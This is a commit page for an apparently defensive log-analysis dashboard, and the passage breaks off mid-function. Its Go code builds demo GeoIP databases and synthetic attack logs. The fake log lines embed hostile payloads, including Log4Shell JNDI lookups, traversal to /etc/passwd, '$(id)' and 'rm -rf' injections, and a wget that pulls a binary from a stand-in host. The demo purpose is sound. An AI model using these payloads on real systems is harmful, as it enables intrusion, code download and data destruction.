feat: 1.2.0 attack intelligence, replay, 30-day history and new interface
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 27s
CI / Dependency audit (push) Successful in 18s
CI / Tests (Linux, race detector) (push) Successful in 58s
Release / Plan (reuse the published image?) (push) Successful in 4s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Successful in 5s
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 27s
CI / Dependency audit (push) Successful in 18s
CI / Tests (Linux, race detector) (push) Successful in 58s
Release / Plan (reuse the published image?) (push) Successful in 4s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Successful in 5s
Intelligence: attack families mapped to MITRE ATT&CK, network type from
ASN/rDNS without external APIs, request cadence, sessions with
recon/probe/exploit/access/banned stages, campaigns across IPs, verdict
with reasons, recommended actions, exposure detection (2xx with a body
on sensitive paths), STIX 2.1 export, FCrDNS for search engine bots,
optional Tor exit list.
Data: 30-day retention, twelve ranges plus custom from/to, an on-disk
event log (daily files, hourly gzip members, size cap, corruption and
disk-full tolerant), /events, /period, /metrics with stable per-hour
metrics, an extended /ip/{ip}, and peer /period merged on the hub.
Interface: layout system with fixed card sizes, range picker in the
URL, IP analysis page, Replay page, Geography down to state and city
(Natural Earth admin-1), Live page redesigned with stable metrics and a
reusable attack map. Demo data and documentation screenshots.
Security: bounded and deadline-limited period computations, linear
campaign clustering, singleflight caches, sanitized peer studies, event
query budgets, gzip bomb guard.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
1 parent
8f1ac462d1
commit
b7462c14fa
325 files changed
+19117
-1307
No files matched your search
@@ -0,0 +1,51 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
// writeGeo grava dbip-city-lite-*.mmdb e dbip-asn-lite-*.mmdb em dir, no
|
||||
// layout DB-IP/GeoIP2 que internal/geo lê.
|
||||
func writeGeo(dir string) error {
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
var city, asn []mmEntry
|
||||
for _, s := range sites {
|
||||
rec := map[string]any{
|
||||
"country": map[string]any{
|
||||
"iso_code": s.cc,
|
||||
"names": map[string]any{"en": s.country, "pt-BR": s.countryPT},
|
||||
},
|
||||
"continent": map[string]any{"code": s.cont},
|
||||
"subdivisions": []any{map[string]any{"names": map[string]any{"en": s.region}}},
|
||||
"city": map[string]any{"names": map[string]any{"en": s.city}},
|
||||
"location": map[string]any{"latitude": s.lat, "longitude": s.lon},
|
||||
}
|
||||
arec := map[string]any{
|
||||
"autonomous_system_number": u32(s.asn),
|
||||
"autonomous_system_organization": s.org,
|
||||
}
|
||||
for _, p := range append(append([]string{}, s.v4...), s.v6...) {
|
||||
pf, err := netip.ParsePrefix(p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !reserved(pf.Addr()) {
|
||||
return fmt.Errorf("prefixo fora das faixas reservadas: %s", p)
|
||||
}
|
||||
city = append(city, mmEntry{pf, rec})
|
||||
asn = append(asn, mmEntry{pf, arec})
|
||||
}
|
||||
}
|
||||
epoch := uint64(time.Now().Unix())
|
||||
ym := time.Now().UTC().Format("2006-01")
|
||||
if err := os.WriteFile(filepath.Join(dir, "dbip-city-lite-"+ym+".mmdb"), buildMMDB(6, 24, city, true, epoch, "DBIP-City-Lite"), 0o644); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(dir, "dbip-asn-lite-"+ym+".mmdb"), buildMMDB(6, 24, asn, true, epoch, "DBIP-ASN-Lite"), 0o644)
|
||||
}
|
||||
@@ -0,0 +1,622 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"math"
|
||||
"math/rand"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Os logs de demonstração usam só endereços reservados (ver sites.go), domínios
|
||||
// example.* e nomes de servidor neutros (edge-1, edge-2). Os horários são
|
||||
// relativos a "agora", de modo que tudo cai nos intervalos de 1 h a 30 d.
|
||||
|
||||
type attacker struct {
|
||||
ip netip.Addr
|
||||
site *site
|
||||
profile []string
|
||||
weight float64
|
||||
}
|
||||
|
||||
type visitor struct {
|
||||
ip netip.Addr
|
||||
site *site
|
||||
ua string
|
||||
bot bool
|
||||
}
|
||||
|
||||
type line struct {
|
||||
t time.Time
|
||||
s string
|
||||
}
|
||||
|
||||
const (
|
||||
ipInteresting = "203.0.113.45" // multivetor: web em escalada + SSH
|
||||
ipExposure = "203.0.113.140" // leu /.env com 200
|
||||
ipScanner = "198.51.100.20"
|
||||
ipSSHCompr = "198.18.5.77" // força bruta SSH seguida de login aceito
|
||||
ipOwner = "192.0.2.150" // administrador legítimo
|
||||
ipOwnerSlip = "192.0.2.151" // administrador que errou a senha e entrou
|
||||
ipMonitor = "192.0.2.10"
|
||||
ipCampaignSrv = "203.0.113.99"
|
||||
)
|
||||
|
||||
var scannerUAs = []string{
|
||||
"Nuclei - Open-source project (github.com/projectdiscovery/nuclei)",
|
||||
"Mozilla/5.0 zgrab/0.x",
|
||||
"sqlmap/1.7.2#stable (https://sqlmap.org)",
|
||||
"Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)",
|
||||
"masscan/1.3 (https://github.com/robertdavidgraham/masscan)",
|
||||
}
|
||||
|
||||
var browserUAs = []string{
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1",
|
||||
"Mozilla/5.0 (Linux; Android 14; SM-A546E) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36",
|
||||
"Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36",
|
||||
}
|
||||
|
||||
var botUAs = []string{
|
||||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
||||
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
|
||||
}
|
||||
|
||||
var referrers = []string{"", "", "", "https://www.google.com/", "https://www.google.com/", "https://duckduckgo.com/", "https://news.example.org/", "https://social.example.net/post/812", "https://www.bing.com/"}
|
||||
|
||||
type domainW struct {
|
||||
name string
|
||||
w float64
|
||||
}
|
||||
|
||||
type hostCfg struct {
|
||||
name string
|
||||
domains []domainW
|
||||
visits int
|
||||
bursts int
|
||||
ssh int
|
||||
}
|
||||
|
||||
var hostCfgs = map[string]hostCfg{
|
||||
"edge-1": {"edge-1", []domainW{{"www.example.com", 5}, {"blog.example.org", 3}, {"app.example.com", 2}, {"shop.example.com", 1.5}}, 4200, 1300, 34},
|
||||
"edge-2": {"edge-2", []domainW{{"api.example.net", 5}, {"docs.example.com", 2.5}, {"www.example.org", 2}}, 2300, 700, 20},
|
||||
}
|
||||
|
||||
type gen struct {
|
||||
rng *rand.Rand
|
||||
now time.Time
|
||||
cfg hostCfg
|
||||
atk []*attacker
|
||||
vis []*visitor
|
||||
web []line
|
||||
auth []line
|
||||
f2b []line
|
||||
pid int
|
||||
}
|
||||
|
||||
func (g *gen) domain() string {
|
||||
var tot float64
|
||||
for _, d := range g.cfg.domains {
|
||||
tot += d.w
|
||||
}
|
||||
x := g.rng.Float64() * tot
|
||||
for _, d := range g.cfg.domains {
|
||||
if x -= d.w; x < 0 {
|
||||
return d.name
|
||||
}
|
||||
}
|
||||
return g.cfg.domains[0].name
|
||||
}
|
||||
|
||||
// randIP sorteia um endereço dentro de um dos prefixos do site (v6 quando pedido).
|
||||
func randIP(r *rand.Rand, s *site, v6 bool) netip.Addr {
|
||||
if v6 && len(s.v6) > 0 {
|
||||
p := netip.MustParsePrefix(s.v6[r.Intn(len(s.v6))])
|
||||
b := p.Addr().As16()
|
||||
for i := 6; i < 16; i++ {
|
||||
b[i] = byte(r.Intn(256))
|
||||
}
|
||||
return netip.AddrFrom16(b)
|
||||
}
|
||||
p := netip.MustParsePrefix(s.v4[r.Intn(len(s.v4))])
|
||||
b := p.Masked().Addr().As4()
|
||||
base := uint32(b[0])<<24 | uint32(b[1])<<16 | uint32(b[2])<<8 | uint32(b[3])
|
||||
size := uint32(1) << (32 - p.Bits())
|
||||
v := base + 1 + uint32(r.Intn(int(size)-2))
|
||||
return netip.AddrFrom4([4]byte{byte(v >> 24), byte(v >> 16), byte(v >> 8), byte(v)})
|
||||
}
|
||||
|
||||
var allProfiles = []string{"wp", "env", "git", "trav", "log4", "phpunit", "iot", "scan", "misc"}
|
||||
|
||||
// buildPools cria os mesmos atacantes e visitantes para qualquer host (semente fixa).
|
||||
func buildPools() (atk []*attacker, vis []*visitor) {
|
||||
r := rand.New(rand.NewSource(20261114))
|
||||
special := map[string]bool{ipInteresting: true, ipExposure: true, ipScanner: true, ipSSHCompr: true, ipOwner: true, ipOwnerSlip: true, ipMonitor: true, ipCampaignSrv: true}
|
||||
for i := range sites {
|
||||
s := &sites[i]
|
||||
if s.legit || s.id == "mon" {
|
||||
continue
|
||||
}
|
||||
n := 6 + r.Intn(14)
|
||||
for len(atk) < 1000 && n > 0 {
|
||||
ip := randIP(r, s, r.Intn(6) == 0)
|
||||
if special[ip.String()] {
|
||||
continue
|
||||
}
|
||||
np := 1 + r.Intn(2)
|
||||
var prof []string
|
||||
for j := 0; j < np; j++ {
|
||||
prof = append(prof, allProfiles[r.Intn(len(allProfiles))])
|
||||
}
|
||||
atk = append(atk, &attacker{ip, s, prof, 1 / (1 + float64(r.Intn(8)))})
|
||||
n--
|
||||
}
|
||||
}
|
||||
// pesos legítimos: Brasil domina
|
||||
weights := map[string]int{"v-pe": 22, "v-sp": 24, "v-mg": 9, "v-ba": 8, "v-pt": 6, "v-us": 6, "v-de": 4, "v-gb": 3, "v-in": 3, "v-ar": 3}
|
||||
var legit []*site
|
||||
for i := range sites {
|
||||
if sites[i].legit {
|
||||
for k := 0; k < weights[sites[i].id]; k++ {
|
||||
legit = append(legit, &sites[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
for len(vis) < 700 {
|
||||
s := legit[r.Intn(len(legit))]
|
||||
vis = append(vis, &visitor{ip: randIP(r, s, false), site: s, ua: browserUAs[r.Intn(len(browserUAs))]})
|
||||
}
|
||||
for i := 0; i < 4; i++ {
|
||||
vis = append(vis, &visitor{ip: randIP(r, siteByID("us1"), false), site: siteByID("us1"), ua: botUAs[i%len(botUAs)], bot: true})
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (g *gen) pickAttacker() *attacker {
|
||||
var tot float64
|
||||
for _, a := range g.atk {
|
||||
tot += a.weight
|
||||
}
|
||||
x := g.rng.Float64() * tot
|
||||
for _, a := range g.atk {
|
||||
if x -= a.weight; x < 0 {
|
||||
return a
|
||||
}
|
||||
}
|
||||
return g.atk[0]
|
||||
}
|
||||
|
||||
type traefik struct {
|
||||
ClientHost string `json:"ClientHost"`
|
||||
Host string `json:"RequestHost"`
|
||||
Method string `json:"RequestMethod"`
|
||||
Path string `json:"RequestPath"`
|
||||
Status int `json:"DownstreamStatus"`
|
||||
StartUTC string `json:"StartUTC"`
|
||||
UA string `json:"request_User-Agent"`
|
||||
Referer string `json:"request_Referer,omitempty"`
|
||||
Duration int64 `json:"Duration"`
|
||||
Size int64 `json:"DownstreamContentSize"`
|
||||
}
|
||||
|
||||
func webLine(t time.Time, ip netip.Addr, domain, method, path string, status int, ua, ref string, dur time.Duration, size int64) line {
|
||||
b, _ := json.Marshal(traefik{ip.String(), domain, method, path, status, t.UTC().Format("2006-01-02T15:04:05.000000000Z"), ua, ref, int64(dur), size})
|
||||
return line{t, string(b)}
|
||||
}
|
||||
|
||||
// ---- tráfego legítimo ----
|
||||
|
||||
var legitPages = []string{"/", "/", "/", "/pricing", "/about", "/contact", "/blog", "/blog/hello-world", "/blog/release-notes", "/blog/security-checklist", "/docs", "/docs/getting-started", "/docs/api", "/shop", "/shop/item/42", "/login"}
|
||||
var legitAssets = []string{"/static/app.css", "/static/app.js", "/static/logo.svg", "/favicon.ico", "/static/font.woff2"}
|
||||
|
||||
func hourWeight(t time.Time) float64 {
|
||||
h := float64(t.UTC().Hour()) + float64(t.UTC().Minute())/60
|
||||
w := 0.55 + 0.45*math.Cos(2*math.Pi*(h-17)/24)
|
||||
if wd := t.UTC().Weekday(); wd == time.Saturday || wd == time.Sunday {
|
||||
w *= 0.7
|
||||
}
|
||||
return w
|
||||
}
|
||||
|
||||
func (g *gen) visit(v *visitor, t time.Time, domain string) []line {
|
||||
var out []line
|
||||
ref := referrers[g.rng.Intn(len(referrers))]
|
||||
pages := 1 + g.rng.Intn(4)
|
||||
if v.bot {
|
||||
pages = 3 + g.rng.Intn(6)
|
||||
ref = ""
|
||||
}
|
||||
for i := 0; i < pages; i++ {
|
||||
p := legitPages[g.rng.Intn(len(legitPages))]
|
||||
st := 200
|
||||
switch x := g.rng.Intn(100); {
|
||||
case x < 4:
|
||||
st = 404
|
||||
p = "/blog/old-post-" + fmt.Sprint(g.rng.Intn(20))
|
||||
case x < 8:
|
||||
st = 301
|
||||
case x < 12:
|
||||
st = 304
|
||||
}
|
||||
dur := time.Duration(8+g.rng.Intn(240)) * time.Millisecond
|
||||
size := int64(2000 + g.rng.Intn(48000))
|
||||
out = append(out, webLine(t, v.ip, domain, "GET", p, st, v.ua, ref, dur, size))
|
||||
if !v.bot {
|
||||
for _, a := range legitAssets[:1+g.rng.Intn(len(legitAssets))] {
|
||||
out = append(out, webLine(t.Add(time.Duration(30+g.rng.Intn(300))*time.Millisecond), v.ip, domain, "GET", a, 200, v.ua, "https://"+domain+p, time.Duration(2+g.rng.Intn(40))*time.Millisecond, int64(800+g.rng.Intn(30000))))
|
||||
}
|
||||
}
|
||||
ref = "https://" + domain + p
|
||||
t = t.Add(time.Duration(4+g.rng.Intn(70)) * time.Second)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ---- ataques ----
|
||||
|
||||
func (g *gen) burst(a *attacker, t time.Time) {
|
||||
prof := a.profile[g.rng.Intn(len(a.profile))]
|
||||
dom := g.domain()
|
||||
pyUA := []string{"python-requests/2.31.0", "Go-http-client/1.1", "curl/8.4.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"}
|
||||
type rq struct {
|
||||
m, p string
|
||||
st int
|
||||
}
|
||||
var seq []rq
|
||||
ua := pyUA[g.rng.Intn(len(pyUA))]
|
||||
pick := func(set []rq, n int) {
|
||||
for i := 0; i < n; i++ {
|
||||
seq = append(seq, set[g.rng.Intn(len(set))])
|
||||
}
|
||||
}
|
||||
switch prof {
|
||||
case "wp":
|
||||
n := 3 + g.rng.Intn(22)
|
||||
for i := 0; i < n; i++ {
|
||||
if g.rng.Intn(5) == 0 {
|
||||
seq = append(seq, rq{"POST", "/xmlrpc.php", 200})
|
||||
} else {
|
||||
seq = append(seq, rq{"POST", "/wp-login.php", 200})
|
||||
}
|
||||
}
|
||||
case "env":
|
||||
pick([]rq{{"GET", "/.env", 404}, {"GET", "/.env.local", 404}, {"GET", "/.env.production", 404}, {"GET", "/config/.env", 404}, {"GET", "/api/.env", 404}, {"GET", "/.aws/credentials", 404}, {"GET", "/wp-config.php.bak", 404}}, 2+g.rng.Intn(6))
|
||||
case "git":
|
||||
pick([]rq{{"GET", "/.git/config", 404}, {"GET", "/.git/HEAD", 404}, {"GET", "/.git/index", 404}, {"GET", "/.svn/entries", 404}, {"GET", "/.DS_Store", 404}}, 2+g.rng.Intn(4))
|
||||
case "trav":
|
||||
pick([]rq{{"GET", "/../../../../etc/passwd", 400}, {"GET", "/cgi-bin/..%2f..%2f..%2fetc/passwd", 400}, {"GET", "/static/..%252f..%252fetc/passwd", 404}, {"GET", "/assets/../../../proc/self/environ", 400}}, 2+g.rng.Intn(4))
|
||||
case "log4":
|
||||
pick([]rq{{"GET", "/${jndi:ldap://oast.example.net:1389/a}", 404}, {"GET", "/api/${jndi:ldap://probe.example.org/x}", 404}, {"GET", "/login/${jndi:rmi://oast.example.net/b}", 404}}, 1+g.rng.Intn(3))
|
||||
ua = "${jndi:ldap://oast.example.net/ua}"
|
||||
case "phpunit":
|
||||
pick([]rq{{"POST", "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", 404}, {"POST", "/phpunit/src/Util/PHP/eval-stdin.php", 404}, {"POST", "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php", 404}, {"GET", "/vendor/phpunit/phpunit/phpunit.xsd", 404}}, 2+g.rng.Intn(3))
|
||||
case "iot":
|
||||
pick([]rq{{"GET", "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id)", 404}, {"POST", "/GponForm/diag_Form?images/", 404}, {"GET", "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*", 404}, {"GET", "/boaform/admin/formLogin", 404}, {"GET", "/HNAP1/", 404}}, 2+g.rng.Intn(4))
|
||||
ua = "Hello, World"
|
||||
case "scan":
|
||||
pick([]rq{{"GET", "/admin", 404}, {"GET", "/phpmyadmin/", 404}, {"GET", "/actuator/env", 404}, {"GET", "/server-status", 403}, {"GET", "/config.json", 404}, {"GET", "/api/swagger.json", 404}, {"GET", "/solr/admin/info/system", 404}, {"GET", "/manager/html", 401}, {"GET", "/console", 404}}, 4+g.rng.Intn(8))
|
||||
ua = scannerUAs[g.rng.Intn(len(scannerUAs))]
|
||||
default:
|
||||
pick([]rq{{"GET", "/shell", 404}, {"GET", "/wp-admin/setup-config.php", 404}, {"GET", "/xmlrpc.php", 405}, {"GET", "/owa/auth/logon.aspx", 404}, {"GET", "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", 404}}, 2+g.rng.Intn(4))
|
||||
}
|
||||
for _, r := range seq {
|
||||
g.web = append(g.web, webLine(t, a.ip, dom, r.m, r.p, r.st, ua, "", time.Duration(2+g.rng.Intn(60))*time.Millisecond, int64(100+g.rng.Intn(1500))))
|
||||
t = t.Add(time.Duration(300+g.rng.Intn(2600)) * time.Millisecond)
|
||||
}
|
||||
if len(seq) >= 8 && g.rng.Intn(3) == 0 {
|
||||
g.ban("traefik-botsearch", a.ip, t.Add(2*time.Second))
|
||||
}
|
||||
}
|
||||
|
||||
func (g *gen) ban(jail string, ip netip.Addr, t time.Time) {
|
||||
g.pid++
|
||||
ts := func(t time.Time) string {
|
||||
return t.In(time.Local).Format("2006-01-02 15:04:05") + fmt.Sprintf(",%03d", t.Nanosecond()/1e6)
|
||||
}
|
||||
g.f2b = append(g.f2b, line{t, fmt.Sprintf("%s fail2ban.actions [812]: NOTICE [%s] Ban %s", ts(t), jail, ip)})
|
||||
if u := t.Add(10 * time.Minute); u.Before(g.now) && g.rng.Intn(4) != 0 {
|
||||
g.f2b = append(g.f2b, line{u, fmt.Sprintf("%s fail2ban.actions [812]: NOTICE [%s] Unban %s", ts(u), jail, ip)})
|
||||
}
|
||||
}
|
||||
|
||||
// ---- SSH ----
|
||||
|
||||
var sshUsers = []string{"root", "admin", "ubuntu", "oracle", "test", "postgres", "git", "pi", "user", "ftpuser", "deploy", "guest", "debian"}
|
||||
|
||||
func authLine(t time.Time, host, msg string, pid int) line {
|
||||
return line{t, fmt.Sprintf("%s %s sshd[%d]: %s", t.UTC().Format("2006-01-02T15:04:05.000000-07:00"), host, pid, msg)}
|
||||
}
|
||||
|
||||
func (g *gen) sshBrute(ip netip.Addr, t time.Time, n int) {
|
||||
pid := 20000 + g.rng.Intn(20000)
|
||||
fails := 0
|
||||
for i := 0; i < n; i++ {
|
||||
u := sshUsers[g.rng.Intn(len(sshUsers))]
|
||||
if g.rng.Intn(3) == 0 {
|
||||
u = "root"
|
||||
}
|
||||
port := 30000 + g.rng.Intn(30000)
|
||||
var msg string
|
||||
switch g.rng.Intn(5) {
|
||||
case 0:
|
||||
msg = fmt.Sprintf("Invalid user %s from %s port %d", u, ip, port)
|
||||
case 1:
|
||||
msg = fmt.Sprintf("Failed password for invalid user %s from %s port %d ssh2", u, ip, port)
|
||||
case 2:
|
||||
msg = fmt.Sprintf("Failed password for %s from %s port %d ssh2", u, ip, port)
|
||||
case 3:
|
||||
msg = fmt.Sprintf("Connection closed by authenticating user %s %s port %d [preauth]", u, ip, port)
|
||||
default:
|
||||
msg = fmt.Sprintf("Connection closed by %s port %d [preauth]", ip, port)
|
||||
}
|
||||
g.auth = append(g.auth, authLine(t, g.cfg.name, msg, pid))
|
||||
if fails++; fails == 6 {
|
||||
g.ban("sshd", ip, t.Add(time.Second))
|
||||
}
|
||||
t = t.Add(time.Duration(900+g.rng.Intn(3500)) * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// ---- cenários fixos (a história que as telas contam) ----
|
||||
|
||||
func (g *gen) scenarios() {
|
||||
r := g.rng
|
||||
now := g.now
|
||||
step := func(t *time.Time, lo, hi int) { *t = t.Add(time.Duration(lo+r.Intn(hi-lo)) * time.Second) }
|
||||
|
||||
// 1. um atacante em escalada, em vários domínios, depois de ser banido volta
|
||||
in := netip.MustParseAddr(ipInteresting)
|
||||
t := now.Add(-26 * time.Hour)
|
||||
ua := "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
|
||||
add := func(m, p string, st int, dom, ua string) {
|
||||
g.web = append(g.web, webLine(t, in, dom, m, p, st, ua, "", time.Duration(5+r.Intn(80))*time.Millisecond, int64(200+r.Intn(1500))))
|
||||
step(&t, 2, 40)
|
||||
}
|
||||
dom := g.cfg.domains[0].name
|
||||
add("GET", "/robots.txt", 404, dom, ua)
|
||||
add("GET", "/admin", 404, dom, ua)
|
||||
add("GET", "/administrator", 404, dom, ua)
|
||||
add("GET", "/wp-login.php", 403, g.domain(), ua)
|
||||
for i := 0; i < 9; i++ {
|
||||
add("POST", "/wp-login.php", 401, g.domain(), ua)
|
||||
}
|
||||
add("POST", "/xmlrpc.php", 403, dom, ua)
|
||||
step(&t, 120, 400)
|
||||
add("GET", "/.env", 404, dom, ua)
|
||||
add("GET", "/.git/config", 404, dom, ua)
|
||||
add("GET", "/../../../../etc/passwd", 400, dom, ua)
|
||||
step(&t, 60, 300)
|
||||
su := "sqlmap/1.7.2#stable (https://sqlmap.org)"
|
||||
add("POST", "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", 404, dom, su)
|
||||
add("GET", "/${jndi:ldap://oast.example.net:1389/a}", 404, dom, su)
|
||||
add("GET", "/api/${jndi:ldap://oast.example.net:1389/b}", 404, g.domain(), su)
|
||||
step(&t, 30, 90)
|
||||
add("GET", "/.env", 200, "app.example.com", ua) // the attacker got a secrets file
|
||||
g.ban("traefik-botsearch", in, t.Add(3*time.Second))
|
||||
for _, back := range []time.Duration{9 * time.Hour, 80 * time.Minute, 20 * time.Minute} {
|
||||
t = now.Add(-back)
|
||||
for i := 0; i < 5+r.Intn(10); i++ {
|
||||
add("POST", "/wp-login.php", 401, g.domain(), ua)
|
||||
}
|
||||
add("GET", "/.env", 404, dom, ua)
|
||||
}
|
||||
g.sshBrute(in, now.Add(-25*time.Hour), 14)
|
||||
|
||||
// 2. exposição: /.env respondeu 200
|
||||
if g.cfg.name == "edge-1" {
|
||||
ex := netip.MustParseAddr(ipExposure)
|
||||
t = now.Add(-51 * time.Hour)
|
||||
for _, q := range []struct {
|
||||
p string
|
||||
st int
|
||||
sz int64
|
||||
}{{"/.env", 200, 1432}, {"/.env.bak", 404, 146}, {"/.git/config", 404, 146}, {"/.env", 200, 1432}} {
|
||||
g.web = append(g.web, webLine(t, ex, "app.example.com", "GET", q.p, q.st, "python-requests/2.31.0", "", 12*time.Millisecond, q.sz))
|
||||
step(&t, 20, 200)
|
||||
}
|
||||
}
|
||||
|
||||
// 3. campanha IoT: muitos IPs, a mesma assinatura
|
||||
iotSites := []string{"cn1", "cn2", "vn1", "in1", "ru1", "kr1", "br4", "cn3", "in2", "ru2"}
|
||||
for wave, start := range []time.Duration{72 * time.Hour, 20 * time.Hour} {
|
||||
nip := 14
|
||||
if wave == 1 {
|
||||
nip = 8
|
||||
}
|
||||
cr := rand.New(rand.NewSource(int64(500 + wave)))
|
||||
for i := 0; i < nip; i++ {
|
||||
ip := randIP(cr, siteByID(iotSites[(i+wave*3)%len(iotSites)]), false)
|
||||
tt := now.Add(-start).Add(time.Duration(cr.Intn(5*3600)) * time.Second)
|
||||
for k := 0; k < 1+g.rng.Intn(2); k++ {
|
||||
for _, q := range []struct{ m, p string }{
|
||||
{"POST", "/GponForm/diag_Form?images/"},
|
||||
{"GET", "/boaform/admin/formLogin"},
|
||||
{"GET", "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget+http://" + ipCampaignSrv + "/mips+-O+/tmp/m"},
|
||||
} {
|
||||
g.web = append(g.web, webLine(tt, ip, g.domain(), q.m, q.p, 404, "Hello, World", "", 4*time.Millisecond, 146))
|
||||
tt = tt.Add(time.Duration(1+g.rng.Intn(4)) * time.Second)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 4. campanha log4shell
|
||||
l4 := []string{"us1", "nl1", "de2", "sg1", "hk1", "gb1", "us2", "us3", "de1"}
|
||||
cr := rand.New(rand.NewSource(777))
|
||||
for i, id := range l4 {
|
||||
ip := randIP(cr, siteByID(id), false)
|
||||
tt := now.Add(-30 * time.Hour).Add(time.Duration(cr.Intn(2*3600)) * time.Second)
|
||||
for _, p := range []string{"/${jndi:ldap://oast.example.net:1389/Exploit}", "/api/login/${jndi:ldap://oast.example.net:1389/Exploit}"} {
|
||||
g.web = append(g.web, webLine(tt, ip, g.domain(), "GET", p, 404, "${jndi:ldap://oast.example.net:1389/Exploit}", "", 3*time.Millisecond, 146))
|
||||
tt = tt.Add(time.Duration(1+i%3) * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
// 5. um scanner persistente e barulhento
|
||||
sc := netip.MustParseAddr(ipScanner)
|
||||
for d := 0; d < 6; d++ {
|
||||
tt := now.Add(-time.Duration(d*29+3) * time.Hour)
|
||||
for _, p := range []string{"/admin", "/actuator/env", "/server-status", "/phpmyadmin/", "/.git/HEAD", "/api/swagger.json", "/solr/admin/info/system", "/console", "/manager/html"} {
|
||||
g.web = append(g.web, webLine(tt, sc, g.domain(), "GET", p, 404, scannerUAs[0], "", 3*time.Millisecond, 146))
|
||||
tt = tt.Add(400 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// 6. monitor legítimo
|
||||
mon := netip.MustParseAddr(ipMonitor)
|
||||
for tt := now.Add(-30 * 24 * time.Hour); tt.Before(now); tt = tt.Add(5 * time.Minute) {
|
||||
g.web = append(g.web, webLine(tt, mon, g.cfg.domains[0].name, "GET", "/healthz", 200, "Uptime-Kuma/1.23.13", "", 4*time.Millisecond, 15))
|
||||
}
|
||||
|
||||
// 7. SSH: administrador legítimo, um engano seguido de entrada, e um comprometimento
|
||||
owner := netip.MustParseAddr(ipOwner)
|
||||
for _, h := range []time.Duration{700, 560, 410, 300, 150, 40} {
|
||||
tt := now.Add(-h * time.Hour)
|
||||
g.auth = append(g.auth, authLine(tt, g.cfg.name, fmt.Sprintf("Accepted publickey for deploy from %s port %d ssh2: ED25519 SHA256:%s", owner, 40000+r.Intn(20000), "xK3vQ9mT1bN7pLz0aYc2RfW8uJdE4sHgOiVnMt6Pq5A"), 31000))
|
||||
}
|
||||
if g.cfg.name == "edge-1" {
|
||||
slip := netip.MustParseAddr(ipOwnerSlip)
|
||||
tt := now.Add(-3 * time.Hour)
|
||||
for i := 0; i < 3; i++ {
|
||||
g.auth = append(g.auth, authLine(tt, g.cfg.name, fmt.Sprintf("Failed password for deploy from %s port %d ssh2", slip, 51000+i), 32000))
|
||||
tt = tt.Add(7 * time.Second)
|
||||
}
|
||||
g.auth = append(g.auth, authLine(tt, g.cfg.name, fmt.Sprintf("Accepted password for deploy from %s port %d ssh2", slip, 51004), 32000))
|
||||
|
||||
cp := netip.MustParseAddr(ipSSHCompr)
|
||||
g.sshBrute(cp, now.Add(-9*time.Hour), 46)
|
||||
g.auth = append(g.auth, authLine(now.Add(-9*time.Hour+3*time.Minute), g.cfg.name, fmt.Sprintf("Accepted password for test from %s port %d ssh2", cp, 49321), 33000))
|
||||
}
|
||||
}
|
||||
|
||||
func (g *gen) generate() {
|
||||
r := g.rng
|
||||
g.atk, g.vis = buildPools()
|
||||
span := 30 * 24 * time.Hour
|
||||
|
||||
// legítimos
|
||||
for i := 0; i < g.cfg.visits; i++ {
|
||||
var t time.Time
|
||||
for {
|
||||
